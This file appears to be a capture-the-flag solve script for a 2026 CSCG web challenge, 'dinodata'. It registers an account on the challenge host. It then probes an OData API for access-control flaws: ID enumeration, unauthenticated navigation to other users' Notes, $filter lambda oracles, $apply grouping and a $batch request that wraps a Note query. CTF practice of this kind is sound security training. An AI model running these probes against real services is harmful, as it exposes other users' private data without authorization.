Files
ctf/2026/cscg/web/dinodata/solve.py
2026-03-09 21:44:25 +01:00

69 lines
2.4 KiB
Python

import requests
BASE_URL = "https://fmv4nqzwd2zvqwkabo2mzq5hd6-8080-dinodata.challenge.cscg.live"
with requests.session() as s:
r = s.post(
BASE_URL + "/auth/register",
json={"name": "cato447", "password": "password"},
headers={
"Content-Type": "application/json;odata.metadata=none;odata.streaming=true"
},
)
r = s.post(
BASE_URL + "/auth/login",
json={"name": "cato447", "password": "password"}
)
token = r.json()["token"]
headers = {"Authorization": f"Bearer {token}"}
for i in range(1, 20):
r = s.get(
f"{BASE_URL}/odata/Scientist({i})/Note",
)
if r.status_code == 200:
print(f"Scientist {i} notes: {r.text}")
for i in range(1, 20):
r = s.get(BASE_URL + f"/odata/Note({i})", headers=headers)
if r.status_code != 404:
print(f"Note({i}):", r.status_code, r.text)
headers = {"Authorization": f"Bearer {token}"}
# 1. Navigate through the UNPROTECTED Scientist endpoint to reach Notes
# Scientist has no auth, maybe its navigation properties inherit that
for i in range(1, 6):
r = s.get(BASE_URL + f"/odata/Scientist({i})/Notes")
print(f"Scientist({i})/Notes (no auth):", r.status_code, r.text)
# 2. OData lambda operators - query scientists WHERE their notes contain something
# This is a blind oracle but might leak data differently
r = s.get(BASE_URL + "/odata/Scientist?$filter=Notes/any(n: n/Id gt 0)")
print("Scientists with notes:", r.text)
# 3. OData $apply aggregation
r = s.get(BASE_URL + "/odata/Note?$apply=groupby((ScientistId))", headers=headers)
print("Apply groupby:", r.text)
# 4. OData batch request - bundle Note request inside Scientist context
batch_body = """--batch_boundary
Content-Type: application/http
Content-Transfer-Encoding: binary
GET /odata/Note HTTP/1.1
Host: fmv4nqzwd2zvqwkabo2mzq5hd6-8080-dinodata.challenge.cscg.live
--batch_boundary--"""
r = s.post(BASE_URL + "/odata/$batch",
data=batch_body,
headers={"Content-Type": "multipart/mixed; boundary=batch_boundary"})
print("Batch:", r.text)
# 5. Filter notes by other scientist IDs (server might not scope properly)
for i in range(1, 6):
r = s.get(BASE_URL + f"/odata/Note?$filter=ScientistId eq {i}", headers=headers)
print(f"Notes for scientist {i}:", r.text)